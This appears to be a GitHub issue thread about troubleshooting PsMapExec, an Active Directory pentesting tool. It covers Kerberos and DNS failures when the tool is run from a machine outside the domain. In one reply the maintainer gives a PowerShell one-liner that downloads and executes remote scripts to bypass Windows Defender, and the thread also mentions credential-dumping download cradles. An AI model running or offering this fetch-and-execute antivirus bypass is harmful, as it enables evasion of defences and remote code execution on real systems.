Multiple Failures

[init5-SF]

Hello, I gave this tool a test run, but unfortunately it failed. I suppose - unlike CrackMapExec - this tool does not support being run from (or against) stand-alone machines (non-domain joined), which doesn't make it very useful in engagements.

Test 1: Running from a stand-alone machine against a Domain Controller
Result: Authentication always fails even with correct creds

---

Test 2: Running from a DC against a stand-alone machine
Result: No output whatsoever - Same exact result with and without correct creds

[The-Viper-One]

Hi,

Test 1

PsMapExec should function when executed from a non-domain joined system against domain-joined systems. Below, I have demonstrated its execution on a non-domain joined system targeting the domain "security.local."

and then to replicate the same command as you from the non-domain joined system against the domain.

It may be worth checking your connectivity to the domain controller and your ability to request Kerberos tickets. A useful test for this would be to load Rubeus on the non-domain joined system and request a Kerberos ticket for a user from the domain controller.

Test 2

Regarding Test 2, running PsMapExec from a domain-joined system against a standalone system is not currently supported and is not planned for development in the immediate future.

[init5-SF]

I've debugged Test 1 a little bit more, and the tool seems to be sending out wrong creds

I've ran PsMapExec -Targets DC -Method SMB -Username administrator -Password xxxx -Domain bank.local

Here's the packet capture via wireshark:

The standalone machine is called devbox The local account I'm using is called dev

Issue 1: The username being sent in the LDAP bind is devsasl Issue 2: The tool is totally ignoring the -username & -password params and defaulting to the local account (correct auth should be bank\administrator)

[The-Viper-One]

What should be happening is when you supply credential material, in your case -Username and -Password PsMapExec should attempt to grab a TGT from the KDC on the target domain.

This TGT should be injected into the current logon session. It should then bind with kerberos authentication to the domain over LDAP in which case the Wireshark traffic will look like this:

However, if for whatever reason requesting a TGT from the KDC fails traffic will look like this where it tries to send COMPTUERNAME\Local_Username credentials over LDAP which will of course fail

The second image looks somewhat like your issue. Its difficult to say the exact issue without further information. Some assumptions could be made around your environment that will need potentially resolving:

• AV is stripping Rubeus from PsMapExec preventing TGTs being requested
• DNS may need configuring so the testing system can contact the domain
• Cached information on the testing system could be interfering (maybe worth a reboot)

If you are running defender on the testing system you should be able to bypass it with the following and loading PsMapExec in a fresh console session:

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

[init5-SF]

I have defender disabled and I have the working directory excluded from real time scanning, I don't think that is the issue.

The standalone client can't typically resolve names, but I have the below entry in the hosts file: 192.168.194.150 bank.local DC.bank.local DC The client can resolve these names, but if it needs to resolve more record types (like SRV) in order to get a kerberos ticket, then it won't work. In real life, standalone machines won't have any mechanism to resolve host/domain names, I think this whole thing can be avoided if the tool supports IP address for targets like crackmapexec.

Also while going through the code I found multiple download cradles that download Invoke-Pandemonium.ps1 & Invoke-NTDS.ps1 & Kirby.ps1 I don't think that's a very good approach. In a real life pentesting engagement, that's bad opsec and can easily be flagged, and in a situation like a certification exam or a CTF, this will definitely fail, since these are disconnected environments. Your best bet is to have an offline version of the tool with all components included.

Another feature suggestion would be to support file input for targets, less noise and more reliability that -Targets All (you're using $env:USERDNSDOMAIN to discover computer accounts, what about cross-domain execution?)

[The-Viper-One]

Issue is in issuer environment. Tested in multiple standalone systems in a few different environments and works without issue.

Other suggestions listed by issuer are out of scope of the original reported issue and are already listed within the documentation as items being currently worked on.